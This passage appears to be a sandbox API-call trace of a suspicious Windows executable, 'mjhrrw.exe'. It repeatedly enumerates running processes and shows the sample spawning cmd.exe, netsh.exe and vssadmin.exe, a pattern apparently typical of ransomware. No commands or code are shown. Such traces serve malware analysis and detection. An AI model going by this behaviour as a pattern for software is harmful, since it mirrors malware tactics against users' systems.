[0290.690] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0xcb4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0290.690] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0290.875] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0290.879] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0290.879] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0290.880] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xc28, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0290.880] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0290.880] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.881] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xc28, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0290.881] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0290.883] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0290.883] CloseHandle (hObject=0x300) returned 1 [0290.883] Sleep (dwMilliseconds=0x1f4) [0292.325] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f0 [0292.372] Process32FirstW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0292.373] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0292.373] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0292.374] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0292.374] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0292.375] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0292.376] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0292.376] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0292.377] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0292.378] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0292.379] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0292.379] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.380] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.380] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0292.381] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.381] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.382] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.382] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.383] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.384] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.384] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.385] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.385] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.386] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.387] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0292.388] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.389] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0292.389] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0292.390] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0292.391] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0292.391] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0292.392] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.393] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0292.393] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0292.394] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0292.395] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0292.395] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0292.396] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0292.397] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0292.397] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0292.398] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0292.399] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.400] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0xcb4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0292.400] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0292.401] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0294.266] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0294.267] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0294.268] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xc28, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0294.268] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0294.269] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.270] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xc28, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0294.270] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0294.271] Process32NextW (in: hSnapshot=0x2f0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0294.272] CloseHandle (hObject=0x2f0) returned 1 [0294.272] Sleep (dwMilliseconds=0x1f4) [0295.052] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2e0 [0295.061] Process32FirstW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0295.062] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0295.062] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0295.063] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0295.063] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0295.064] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0295.065] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0295.065] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0295.066] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0295.066] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0295.067] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0295.068] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.068] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.069] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0295.070] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.070] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.071] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.071] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.072] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.073] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, 